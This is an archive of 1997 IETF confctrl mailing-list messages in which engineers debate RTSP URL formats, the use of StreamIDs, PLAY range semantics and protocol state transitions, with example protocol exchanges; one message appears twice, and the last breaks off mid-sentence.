From majordom@ISI.EDU  Wed Jul 16 19:06:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23428>; Thu, 17 Jul 1997 02:12:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23403>; Thu, 17 Jul 1997 02:10:56 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20940>; Thu, 17 Jul 1997 02:10:25 -0700
Received: from zappo-home.prognet.com (correro-PPP2.prognet.com) by murrow.prognet.com with SMTP id AA00509
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Jul 1997 02:15:16 -0700
Received: by zappo-home.prognet.com with Microsoft Mail
	id <01BC9256.063C7740@zappo-home.prognet.com>; Thu, 17 Jul 1997 02:06:22 -0700
Message-Id: <01BC9256.063C7740@zappo-home.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: "'bill@syd.dit.csiro.au'" <bill@syd.dit.csiro.au>,
        Rob Lanphier
	 <robla@prognet.com>
Cc: "'brad@prognet.com'" <brad@prognet.com>,
        "confctrl@isi.edu"
	 <confctrl@isi.edu>,
        "uri@bunyip.com" <uri@bunyip.com>, "www-talk@w3.org" <www-talk@w3.org>
Subject: RE: Format of RTSP URLs 
Date: Thu, 17 Jul 1997 02:06:07 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Bill Simpson-Young wrote:
>> I don't think this example would be a common one as 
>> surely, in practice, HTTP will be used to retrieve 
>> the SDP info rather than RTSP...

As we have already discussed on the confctrl list there are 
actually two very distinct uses for "description" formats 
like SDP in the process of playing back media streams. The first 
use is for accessing "media server indirection" information. 
This is clearly best handled by an HTTP server. It seems 
to me that you are referring to this type of use of SDP.

However, there is another equally important use for "description 
formats" like SDP in the process of playing streaming media, 
specifically, "media initialization information". This is basically 
the information needed to initialize the "rendering" context of 
the media stream. This information is often not hand authored, 
because it may contain codec specific initialization goo,
and as such should not be separated from the media file itself. 
Retrieval of this information is the purpose and intended use of 
the RTSP DESCRIBE verb. The RTSP authors chose not to use GET
because this is explicitly not the same semantics of the HTTP GET.
You don't get the resource, you get a description of the resource.

For more information on this specific topic please see my post 
to the confctrl list dated Fri, 20 Jun 1997, at...

	http://www.mbone.com/lists/confctrl.1997/0339.html


>> http://foo/db/moviebase/twister          (for the bootstrapping info)
>> rtsp://foo/db/moviebase/twister/video1
>> rtsp://foo/db/moviebase/twister/audio1

Let's for the moment ignore the issue of a file system add-on that you
and Roy have dismissed as being handled by "redirection"... would 
your arguments be the same if the container media stream was being 
"generated" on the fly by a "cgi-bin" like add-on to the media server?

Imagine a cgi-bin that produces a video container file with a stream
of randomized fractal images which morph along the timeline of the 
presentation synchronized with a music audio stream. Imagine that 
such a cgi-bin actually produces a resource which is a real AVI file, 
such that if said cgi-bin was running on a web server today it would 
work exactly as one might expect. The url for such a resource might
be...

  http://foo/cgi-bin/fractalavi.exe?c1=ff00ff&c2=444400&e=0.3

Now, are you suggesting that a media server which knows the AVI file 
format, and needs to demultiplex this AVI file and send each of its 
contained streams to different ports, should inform the client of
the existence of these streams, and should be informed of the port 
selections by the client via the following urls?

  rtsp://foo/cgi-bin/fractalvid.exe?c1=ff00ff&c2=444400&e=0.3/audio
  rtsp://foo/cgi-bin/fractalvid.exe?c1=ff00ff&c2=444400&e=0.3/video

Are these legal URLs? Maybe I've misunderstood the uri spec, but I 
would expect a standard uri parser to barf on these. Certainly, such 
a parser would have no clue that the "/audio" and "/video" portions 
of the url are not to be sent to the cgi-bin and in fact are to be 
used in the demuxing process by the server component. Remember that 
this is a cgi-bin that runs on a web server and therefor has no idea 
of how to demux AVI. The server (not the cgi-bin add-in) will do the 
demux and routing to the correct port.

-Brad
-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax: (206)674-2699
email: brad@prognet.com
web: http://www.real.com
-----------------------------------------


From majordom@ISI.EDU  Thu Jul 17 00:44:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29604>; Thu, 17 Jul 1997 07:57:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29595>; Thu, 17 Jul 1997 07:56:58 -0700
Received: from paris.ics.uci.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA22811>; Thu, 17 Jul 1997 07:56:57 -0700
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa23858;
          17 Jul 97 7:56 PDT
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: "'bill@syd.dit.csiro.au'" <bill@syd.dit.csiro.au>,
        Rob Lanphier <robla@prognet.com>,
        "confctrl@isi.edu" <confctrl@isi.edu>,
        "uri@bunyip.com" <uri@bunyip.com>, "www-talk@w3.org" <www-talk@w3.org>
Subject: Re: Format of RTSP URLs 
In-Reply-To: Your message of "Thu, 17 Jul 1997 02:06:07 PDT."
             <01BC9256.063C7740@zappo-home.prognet.com> 
Date: Thu, 17 Jul 1997 07:44:34 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707170756.aa23858@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Let's for the moment ignore the issue of a file system add-on that you
>and Roy have dismissed as being handled by "redirection"... would 
>your arguments be the same if the container media stream was being 
>"generated" on the fly by a "cgi-bin" like add-on to the media server?

Yes.  The CGI interface includes two mechanisms for passing parameters
to the script within the URL.  The first is extra path information; the
second is the query string.  If you use the former, then relative paths
are possible.  If you use the latter, then relative paths are impossible.

>Imagine a cgi-bin that produces a video container file with a stream
>of randomized fractal images which morph along the timeline of the 
>presentation synchronized with a music audio stream. Imagine that 
>such a cgi-bin actually produces a resource which is a real AVI file, 
>such that if said cgi-bin was running on a web server today it would 
>work exactly as one might expect. The url for such a resource might
>be...
>
>  http://foo/cgi-bin/fractalavi.exe?c1=ff00ff&c2=444400&e=0.3
>
>Now, are you suggesting that a media server which knows the AVI file 
>format, and needs to demultiplex this AVI file and send each of its 
>contained streams to different ports, should inform the client of
>the existence of these streams, and should be informed of the port 
>selections by the client via the following urls?
>
>  rtsp://foo/cgi-bin/fractalvid.exe?c1=ff00ff&c2=444400&e=0.3/audio
>  rtsp://foo/cgi-bin/fractalvid.exe?c1=ff00ff&c2=444400&e=0.3/video

Of course not, since as I said before the query part of the base URL
is STRIPPED OFF before any relative parsing.  Try your example with
any current web server and see for yourself what the browser does.

At the same time, there is absolutely nothing preventing the CGI script
from using the URL

   rtsp://foo/fractalvid/morph/c1=ff00ff+c2=444400+e=0.3/audio

to mean the exact same thing.  The only difference is in the configuration
of the server and how the CGI parses its own input.  The same applies to
Apache API modules, NSAPI, ISAPI, and most other means of connecting a
content handler to a web server.  The argument that a database somehow
needs a query part is not relevant to the URL specification.

....Roy

From majordom@ISI.EDU  Fri Jul 18 07:55:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11602>; Fri, 18 Jul 1997 14:57:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11596>; Fri, 18 Jul 1997 14:57:51 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA00356>; Fri, 18 Jul 1997 14:57:51 -0700
Received: from apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id OAA22262
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:55:10 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by apple.com (8.8.5/8.8.5) with ESMTP id OAA25654
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:55:47 -0700
Date: Fri, 18 Jul 1997 14:55:47 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020919aff5345a92c5@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: PLAY with range header
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

A PLAY method with a range header causes the server to
start playing at the beginning of that range. While the server
is playing, if it receives another PLAY method with a range
header, then the server queues this up to play after the
first range is done. This scheme is unambiguous for
single stream sessions.

When we have multi-stream sessions, there are two
ways of playing the presentation - using a single PLAY
or with one PLAY per stream. If we use one PLAY per
stream and include the range header in each PLAY
then it is unclear what the server must do. The RTSP
spec. must clarify this. The following are the 2 choices,

1. The server starts playing each stream at the beginning
of the range specified in the range header in each of the
PLAY methods.

2. The server queues each of the subsequent PLAYs so that
they are played after the previous PLAY is completed.

I prefer solution 2 since it is more in line with the
rules for single stream sessions.

By going with solution 2, a client that wants to use
multiple PLAYs for a multi-stream session
will need to send the 2nd, 3rd ... PLAYs without
range headers. This would cause the server to
add them on and start playing them along with
the other streams that are already playing.





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Fri Jul 18 07:52:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11387>; Fri, 18 Jul 1997 14:54:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11381>; Fri, 18 Jul 1997 14:54:10 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA00163>; Fri, 18 Jul 1997 14:54:09 -0700
Received: from apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id OAA33438
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:51:59 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by apple.com (8.8.5/8.8.5) with ESMTP id OAA32976
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:52:08 -0700
Date: Fri, 18 Jul 1997 14:52:08 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020918aff53097b016@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: RTSP URLs vs StreamIDs - we need both
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

The current discussion in the RTSP group has primarily
focused on using an RTSP URL to specify a media stream
within a presentation. I thought the group had reached a
consensus on using StreamIDs, but this clearly is not the case
from seeing the recent email activity.

Firstly, what do we see as the pros for URLs vs StreamIDs?

Pros for RTSP URLs:
------------------

- A URL can be transparently used by the client. The server gets
to choose what goes in it.

- It is possible to provide a URL for just one of the media streams
within a presentation.

     Example:
          rtsp://foo.com/dinosaurs.mov/trackid=video
          This URL can be use to DESCRIBE, SETUP and PLAY just the video
          stream in the Dinosaurs movie.

Pros for StreamIDs:
------------------

- The response to a multi-stream PLAY (when RTP is used as a transport)
needs to pass back RTP sequence numbers for each stream. If we
drop StreamIDs, we will need to use the entire RTSP URL of each
stream to associate a sequence number with that stream. This will
look ugly and will be hard to parse.

- With the 1-1-n scheme, we can now do SETUPs for all the
media streams over the same RTSP Session ID. If we drop StreamIDs,
then we will have no means of doing TEARDOWNs corresponding
to each SETUP. (This may not be a major problem if the
TEARDOWN can specify the URL of the media stream being
torn down.)



Given the situation that both URLs and StreamIDs have their
unique advantages, why not use a combination of both?
Below is a proposal to do just that.

- RTSP URLs will be used in the SDP file to identify each media
stream. The format of these URLs will hopefully be resolved
in the current email discussions in confctrl list. Since the
client is going to use it transparently, this format should
really not matter.

- StreamIDs are no longer specified in the SDP file. Instead
they are random IDs (similar to Session IDs) that are
returned to the client by the server in the response to
a SETUP. The scope of a StreamID is within a Session.

Here is an example of this scheme for a movie that
contains and audio, video and text stream.

   C->S: DESCRIBE rtsp://foo.com/dinosaurs.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Content-Type: application/sdp

         s=RTSP Session
         r = rtsp://foo.com/dinosaurs.mov                    // aggregate URL
         m=audio 0 RTP/AVP 0
         r = rtsp://foo.com/dinosaurs.mov/track=0      // audio URL
         m=video 0 RTP/AVP 31
         r = rtsp://foo.com/dinosaurs.mov/track=1      // video URL
         m=text 0 RTP/AVP 99
         r = rtsp://foo.com/dinosaurs.mov/track=2      // text URL

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=0 RTSP/1.0 1
         Transport: rtp/udp;port=3056,
                    rtp/tcp

   S->C: RTSP/1.0 200 1 OK
         Session: 1234
         StreamID: 3336
         Transport: rtp/udp;port=3056;servport=5545;servaddress=17.128.200.111

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=1 RTSP/1.0 2
          Session: 1234
        Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: 3337
         Transport: rtp/udp;port=3058;servport=5547;servaddress=17.128.200.111

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=2 RTSP/1.0 3
         Session: 1234
         Transport: rtp/udp;port=3060,
                    rtp/tcp

   S->C: RTSP/1.0 200 3 OK
         Session: 1234
         StreamID: 3338
         Transport: rtp/udp;port=3060;servport=5549;servaddress=17.128.200.111

   C->S: PLAY rtsp://foo.com/dinosaurs.mov RTSP/1.0 4
         Session: 1234

   S->C: RTSP/1.0 200 4 OK
         Session: 1234
         TransportInfo: rtp/udp;StreamID=3336&Sequence=32434
                                 StreamID=3337&Sequence=12334;
                                 StreamID=3338&Sequence=2342;

Now the user wishes to disable the text track,

   C->S: TEARDOWN rtsp://foo.com/dinosaurs.mov/track=2 RTSP/1.0 5
         Session: 1234
         StreamID: 3338

   S->C: RTSP/1.0 200 5 OK
         Session: 1234
         StreamID: 3338

Note: I added a new header called "TransportInfo:" to the PLAY method. This
can be used to return transport specific info. in the PLAY method and
response. I also added 2 parameters to the Transport header called
"servport" which is the server's RTCP port and "servaddress" which is the
server's IP address.







---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Fri Jul 18 07:52:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11387>; Fri, 18 Jul 1997 14:54:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11381>; Fri, 18 Jul 1997 14:54:10 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA00163>; Fri, 18 Jul 1997 14:54:09 -0700
Received: from apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id OAA33438
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:51:59 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by apple.com (8.8.5/8.8.5) with ESMTP id OAA32976
	for <confctrl@isi.edu>; Fri, 18 Jul 1997 14:52:08 -0700
Date: Fri, 18 Jul 1997 14:52:08 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020918aff53097b016@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: RTSP URLs vs StreamIDs - we need both
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

The current discussion in the RTSP group has primarily
focused on using an RTSP URL to specify a media stream
within a presentation. I thought the group had reached a
consensus on using StreamIDs, but this clearly is not the case
from seeing the recent email activity.

Firstly, what do we see as the pros for URLs vs StreamIDs?

Pros for RTSP URLs:
------------------

- A URL can be transparently used by the client. The server gets
to choose what goes in it.

- It is possible to provide a URL for just one of the media streams
within a presentation.

     Example:
          rtsp://foo.com/dinosaurs.mov/trackid=video
          This URL can be use to DESCRIBE, SETUP and PLAY just the video
          stream in the Dinosaurs movie.

Pros for StreamIDs:
------------------

- The response to a multi-stream PLAY (when RTP is used as a transport)
needs to pass back RTP sequence numbers for each stream. If we
drop StreamIDs, we will need to use the entire RTSP URL of each
stream to associate a sequence number with that stream. This will
look ugly and will be hard to parse.

- With the 1-1-n scheme, we can now do SETUPs for all the
media streams over the same RTSP Session ID. If we drop StreamIDs,
then we will have no means of doing TEARDOWNs corresponding
to each SETUP. (This may not be a major problem if the
TEARDOWN can specify the URL of the media stream being
torn down.)



Given the situation that both URLs and StreamIDs have their
unique advantages, why not use a combination of both?
Below is a proposal to do just that.

- RTSP URLs will be used in the SDP file to identify each media
stream. The format of these URLs will hopefully be resolved
in the current email discussions in confctrl list. Since the
client is going to use it transparently, this format should
really not matter.

- StreamIDs are no longer specified in the SDP file. Instead
they are random IDs (similar to Session IDs) that are
returned to the client by the server in the response to
a SETUP. The scope of a StreamID is within a Session.

Here is an example of this scheme for a movie that
contains and audio, video and text stream.

   C->S: DESCRIBE rtsp://foo.com/dinosaurs.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Content-Type: application/sdp

         s=RTSP Session
         r = rtsp://foo.com/dinosaurs.mov                    // aggregate URL
         m=audio 0 RTP/AVP 0
         r = rtsp://foo.com/dinosaurs.mov/track=0      // audio URL
         m=video 0 RTP/AVP 31
         r = rtsp://foo.com/dinosaurs.mov/track=1      // video URL
         m=text 0 RTP/AVP 99
         r = rtsp://foo.com/dinosaurs.mov/track=2      // text URL

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=0 RTSP/1.0 1
         Transport: rtp/udp;port=3056,
                    rtp/tcp

   S->C: RTSP/1.0 200 1 OK
         Session: 1234
         StreamID: 3336
         Transport: rtp/udp;port=3056;servport=5545;servaddress=17.128.200.111

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=1 RTSP/1.0 2
          Session: 1234
        Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: 3337
         Transport: rtp/udp;port=3058;servport=5547;servaddress=17.128.200.111

   C->S: SETUP rtsp://foo.com/dinosaurs.mov/track=2 RTSP/1.0 3
         Session: 1234
         Transport: rtp/udp;port=3060,
                    rtp/tcp

   S->C: RTSP/1.0 200 3 OK
         Session: 1234
         StreamID: 3338
         Transport: rtp/udp;port=3060;servport=5549;servaddress=17.128.200.111

   C->S: PLAY rtsp://foo.com/dinosaurs.mov RTSP/1.0 4
         Session: 1234

   S->C: RTSP/1.0 200 4 OK
         Session: 1234
         TransportInfo: rtp/udp;StreamID=3336&Sequence=32434
                                 StreamID=3337&Sequence=12334;
                                 StreamID=3338&Sequence=2342;

Now the user wishes to disable the text track,

   C->S: TEARDOWN rtsp://foo.com/dinosaurs.mov/track=2 RTSP/1.0 5
         Session: 1234
         StreamID: 3338

   S->C: RTSP/1.0 200 5 OK
         Session: 1234
         StreamID: 3338

Note: I added a new header called "TransportInfo:" to the PLAY method. This
can be used to return transport specific info. in the PLAY method and
response. I also added 2 parameters to the Transport header called
"servport" which is the server's RTCP port and "servaddress" which is the
server's IP address.







---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Sat Jul 19 12:31:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29223>; Sat, 19 Jul 1997 01:31:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29217>; Sat, 19 Jul 1997 01:31:54 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03713>; Sat, 19 Jul 1997 01:31:53 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id EAA08575; Sat, 19 Jul 1997 04:31:50 -0400 (EDT)
Message-Id: <33D07B73.7BBD@cs.columbia.edu>
Date: Sat, 19 Jul 1997 10:31:47 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP URLs vs StreamIDs - we need both
References: <v03020918aff53097b016@[17.255.20.120]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Alagu Periyannan wrote:
> 
> Hi all,
> 
> The current discussion in the RTSP group has primarily
> focused on using an RTSP URL to specify a media stream
> within a presentation. I thought the group had reached a
> consensus on using StreamIDs, but this clearly is not the case
> from seeing the recent email activity.
> 

> Pros for StreamIDs:
> ------------------
> 
> - The response to a multi-stream PLAY (when RTP is used as a transport)
> needs to pass back RTP sequence numbers for each stream. If we
> drop StreamIDs, we will need to use the entire RTSP URL of each
> stream to associate a sequence number with that stream. This will
> look ugly and will be hard to parse.

There is no need to pass back sequence numbers or timestamps, as far as
I can see. Why would you need to?

> 
> - With the 1-1-n scheme, we can now do SETUPs for all the
> media streams over the same RTSP Session ID. If we drop StreamIDs,
> then we will have no means of doing TEARDOWNs corresponding
> to each SETUP. (This may not be a major problem if the
> TEARDOWN can specify the URL of the media stream being
> torn down.)

This is incorrect since the behavior you mention in () is exactly what
happens.

> 
> Given the situation that both URLs and StreamIDs have their
> unique advantages, why not use a combination of both?

Given that this doesn't quite seem the case. I'd argue we shouldn't make
things more complicated than necessary. StreamIDs died from complexity,
mainly, as far as I can tell.


> - StreamIDs are no longer specified in the SDP file. Instead
> they are random IDs (similar to Session IDs) that are
> returned to the client by the server in the response to
> a SETUP. The scope of a StreamID is within a Session.

Now we have two ways to do roughly the same, StreamIDs and URLs. This
seems unnecessary.

Henning

From majordom@ISI.EDU  Sat Jul 19 12:35:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29309>; Sat, 19 Jul 1997 01:36:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29302>; Sat, 19 Jul 1997 01:36:01 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA08033>; Sat, 19 Jul 1997 01:36:00 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id EAA08633; Sat, 19 Jul 1997 04:35:56 -0400 (EDT)
Message-Id: <33D07C6A.55A7@cs.columbia.edu>
Date: Sat, 19 Jul 1997 10:35:54 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@ISI.EDU
Subject: Re: PLAY with range header
References: <v03020919aff5345a92c5@[17.255.20.120]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Alagu Periyannan wrote:
> 
> Hi all,
> 
> A PLAY method with a range header causes the server to
> start playing at the beginning of that range. While the server
> is playing, if it receives another PLAY method with a range
> header, then the server queues this up to play after the
> first range is done. This scheme is unambiguous for
> single stream sessions.
> 
> When we have multi-stream sessions, there are two
> ways of playing the presentation - using a single PLAY
> or with one PLAY per stream. If we use one PLAY per
> stream and include the range header in each PLAY
> then it is unclear what the server must do. 

A session defines a common, "synchronized" time axis for all streams
within that session. If you play a single media, this would indicate
that time progresses for all at the same rate, just that media isn't
delivered to the client. Otherwise, you lose sync. 

The RTSP
> spec. must clarify this. The following are the 2 choices,
> 
> 1. The server starts playing each stream at the beginning
> of the range specified in the range header in each of the
> PLAY methods.
> 
> 2. The server queues each of the subsequent PLAYs so that
> they are played after the previous PLAY is completed.
> 
> I prefer solution 2 since it is more in line with the
> rules for single stream sessions.

Agreed.

> 
> By going with solution 2, a client that wants to use
> multiple PLAYs for a multi-stream session
> will need to send the 2nd, 3rd ... PLAYs without
> range headers. This would cause the server to
> add them on and start playing them along with
> the other streams that are already playing.

From majordom@ISI.EDU  Sat Jul 19 09:42:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08317>; Sat, 19 Jul 1997 12:43:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08311>; Sat, 19 Jul 1997 12:43:01 -0700
Received: from ausmail.austin.ibm.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA09850>; Sat, 19 Jul 1997 12:42:59 -0700
Received: from netmail1.austin.ibm.com (netmail1.austin.ibm.com [9.53.250.96])
	by ausmail.austin.ibm.com (8.8.5/8.8.5) with SMTP id OAA62312
	for <confctrl@isi.edu>; Sat, 19 Jul 1997 14:42:32 -0500
Received: from ped.austin.ibm.com (ped.austin.ibm.com [9.53.154.154]) by netmail1.austin.ibm.com (8.6.12/8.6.11) with ESMTP id OAA22831 for <confctrl@isi.edu>; Sat, 19 Jul 1997 14:42:56 -0500
Received: (from blackard@localhost) by ped.austin.ibm.com (AIX4.2/UCB 8.7/8.7-client1.01) id OAA29294 for confctrl@isi.edu; Sat, 19 Jul 1997 14:42:45 -0500 (CDT)
From: Wayne Blackard <blackard@austin.ibm.com>
Message-Id: <199707191942.OAA29294@ped.austin.ibm.com>
Subject: Questions regarding the RTSP Protocol State Machines
To: confctrl@isi.edu
Date: Sat, 19 Jul 1997 14:42:44 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,

I have the following questions regarding the protocol state machines in the
March 27 edition of the RTSP Internet-Draft:

1) From "Playing" or "Recording", does Teardown cause the state to change
   to "Init" or "Ready"?
	- the RTSP Internet-Draft specifies that the state is changed to 
	  "Ready".  However, this is inconsistent with the description of
	   Teardown in section 9.6 which states that the resources for 
	   the session/stream are freed.

2) From "Ready", does Teardown cause the state to change to "Init" or "Ready"?
	- the RTSP Internet-Draft specifies that it remains in "Ready" state;
	  however, it seems that if resources are freed, then the state 
	  should change to "Init".

3) From the server table, page 46, it shows that the only way to enter the
   "Recording" state is from the "Playing" state.  Is this correct?  It 
   seems to me that the normal way to enter the "Recording" state would be 
   to receive a Record command while in "Ready" state.

4) If in the "Playing" state and a Record command is received, what happens 
   to the stream that was being played?  Is it continued, paused, or torn 
   down?  Is the answer the same for the situation where the server is in 
   the "Recording" state and a Play command is received?

5) Does the server enter the "Ready" state at end of stream/file (i.e. like 
   a Pause command)?


Wayne Blackard
-----------------------------------------------------------------------
IBM (Video Server Products) TELE:     (512) 838-8901      TIE: 678-8901
Dept PTYA   MS 9571         FAX:      (512) 823-8487      TIE: 793-8487
11400 Burnet Road           INTERNET: blackard@austin.ibm.com
Austin, TX 78758            VNET:     BLACKARD at AUSVM6


From majordom@ISI.EDU  Mon Jul 21 18:07:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09989>; Tue, 22 Jul 1997 01:07:43 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09983>; Tue, 22 Jul 1997 01:07:42 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id BAA12018
	for <confctrl@isi.edu>; Tue, 22 Jul 1997 01:07:41 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-93.ricochet.net) by murrow.prognet.com with SMTP id AA14537
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 22 Jul 1997 01:13:10 -0700
Message-Id: <3.0.32.19970722010729.0113ad78@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 22 Jul 1997 01:07:35 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP URL issues
Cc: bill@syd.dit.csiro.au, "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm going to take another stab at explaining why we at PN are so adament
about wanting the StreamID in a method header field rather than in the
URL.

(i.e.  we'd like:
SETUP rtsp://foo.com/bar.rm RTSP/1.0 1
StreamID: audio
)

Below I'm going to discuss RTSL/RTSP integration.  RTSL, for those of
you who aren't aware, is the Real Time Session Language, which we are
shipping with the RealMedia SDK as the glue for presentations from
disparate files and file formats, and map them onto layout elements in a
web browser or in a standalone media player.

I realize that RTSL currently isn't being standardized within the MMUSIC
group (and since it's a file format, it probably doesn't belong here),
but I think the authoring scenarios are important here to understanding
why we at PN seem so dug in on this issue.

We are using RTSL as the media indirection half of the media
indirection/media initialization process that needs to happen prior to
playing a stream (see http://www.mbone.com/lists/confctrl.1997/0339.html
for the distinction).  So the idea is the following:

Client                                Server

http link
http request --------------------->  
             <---------------------  Media indirection (RTSL)
rtsp DESCRIBE -------------------->  
             <---------------------  Media initialization (SDP)
initialization complete

We would like to deal with container files in the following way in RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

This would instruct the client to fetch rtsp://foo.com/movie.rm and map
the text to the screen element "window1", and map the video to screen
element "window2" (in rough terms).  Note that there are no media
initialization parameters, because we think that content authors should
only be burdened with sequencing, grouping and layout information, and
not necessarily with getting every initialization parameter of the media
file will need.

Current Thinking on URLs
========================
Here's my understanding of how all of this URL talk maps into RTSL.  I
want to be clear: *the examples immediately below aren't what PN
